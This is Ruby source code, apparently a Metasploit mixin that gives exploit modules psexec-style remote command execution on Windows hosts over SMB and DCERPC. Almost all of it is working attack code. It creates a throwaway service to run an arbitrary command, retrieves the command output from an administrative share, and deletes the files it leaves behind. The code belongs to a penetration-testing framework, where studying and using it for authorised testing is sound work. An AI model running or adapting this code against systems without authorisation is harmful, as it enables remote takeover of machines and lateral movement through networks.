require 'msf/core' module Msf #### # This module alows for reuse of the psexec code execution module # This code was stolen straight out of psexec.rb.Thanks very much for all # who contributed to that module!! Instead of uploading and runing a binary. #### module Exploit::Remote::Psexec include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB # Retrives output from the executed command # @param smbshare [String] The SMBshare to connect to. Usually C$ # @param ip [IP Address] Remote Host to Connect To # @param file [File name] Path to the output file relative to the smbshare # Example: '\WINDOWS\Temp\outputfile.txt' # @return output or nil if fails def get_output(smbshare, ip, file) begin print_status("Getting the command output...") simple.connect("\\\\#{ip}\\#{smbshare}") outfile = simple.open(file, 'ro') output = outfile.read outfile.close simple.disconnect("\\\\#{ip}\\#{smbshare}") return output rescue StandardError => output_error print_error("Error getting command output. #{output_error.class}. #{output_error}.") return nil end end # This method executes a single windows command. If you want to # retrieve the output of your command you'll have to echo it # to a .txt file and then use the get_output method to retrieve it # Make sure to use the cleanup_after method when you are done. # @param command [String] Should be a valid windows command # @return true if everything wen't well def psexec(command) simple.connect("IPC$") handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) vprint_status("#{peer} - Binding to #{handle} ...") dcerpc_bind(handle) vprint_status("#{peer} - Bound to #{handle} ...") vprint_status("#{peer} - Obtaining a service manager handle...") scm_handle = nil stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) begin response = dcerpc.call(0x0f, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil scm_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("#{peer} - Error: #{e}") return false end servicename = Rex::Text.rand_text_alpha(11) displayname = Rex::Text.rand_text_alpha(16) holdhandle = scm_handle svc_handle = nil svc_status = nil stubdata = scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x00000110) + # Type: Interactive, Own process NDR.long(0x00000003) + # Start: Demand NDR.long(0x00000000) + # Errors: Ignore NDR.wstring( command ) + NDR.long(0) + # LoadOrderGroup NDR.long(0) + # Dependencies NDR.long(0) + # Service Start NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) # Password begin vprint_status("#{peer} - Creating the service...") response = dcerpc.call(0x0c, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil svc_handle = dcerpc.last_response.stub_data[0,20] svc_status = dcerpc.last_response.stub_data[24,4] end rescue ::Exception => e print_error("#{peer} - Error: #{e}") return false end vprint_status("#{peer} - Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception end vprint_status("#{peer} - Opening service...") begin stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) response = dcerpc.call(0x10, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil svc_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("#{peer} - Error: #{e}") return false end vprint_status("#{peer} - Starting the service...") stubdata = svc_handle + NDR.long(0) + NDR.long(0) begin response = dcerpc.call(0x13, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil end rescue ::Exception => e print_error("#{peer} - Error: #{e}") return false end vprint_status("#{peer} - Removing the service...") stubdata = svc_handle begin response = dcerpc.call(0x02, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil end rescue ::Exception => e print_error("#{peer} - Error: #{e}") end vprint_status("#{peer} - Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e print_error("#{peer} - Error: #{e}") end select(nil, nil, nil, 1.0) simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") return true end # This is the cleanup method, removes .txt and .bat file/s created during execution # @param smbshare [String] The SMBshare to connect to. Usually C$ # @param ip [IP Address] Remote Host to Connect To # @param text [File Path] Path to the text file relative to the smbshare # Example: '\WINDOWS\Temp\output.txt' # @param bat [File Path] Full path to the batch file created # Example: 'C:\WINDOWS\Temp\batchfile.bat' # @return only in the event of an error def cleanup_after(smbshare, ip, text, bat) begin # Try and do cleanup command/s cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}" print_status("#{peer} - Executing cleanup...") psexec(cleanup) if !check_cleanup(smbshare, ip, text) print_error("#{peer} - Unable to cleanup. Make sure to manually remove files from the target.") else print_status("#{peer} - Cleanup was successful") end rescue StandardError => cleanuperror print_error("#{peer} - Unable to processes cleanup commands. Error: #{cleanuperror}") print_error("#{peer} - Make sure to manually remove files from the target") return cleanuperror end end # Make sure the cleanup command worked # This method should only be called from within cleanup_after def check_cleanup(smbshare, ip, text) simple.connect("\\\\#{ip}\\#{smbshare}") begin if checktext = simple.open(text, 'ro') check = false else check = true end simple.disconnect("\\\\#{ip}\\#{smbshare}") return check rescue StandardError => check_error simple.disconnect("\\\\#{ip}\\#{smbshare}") return true end end end end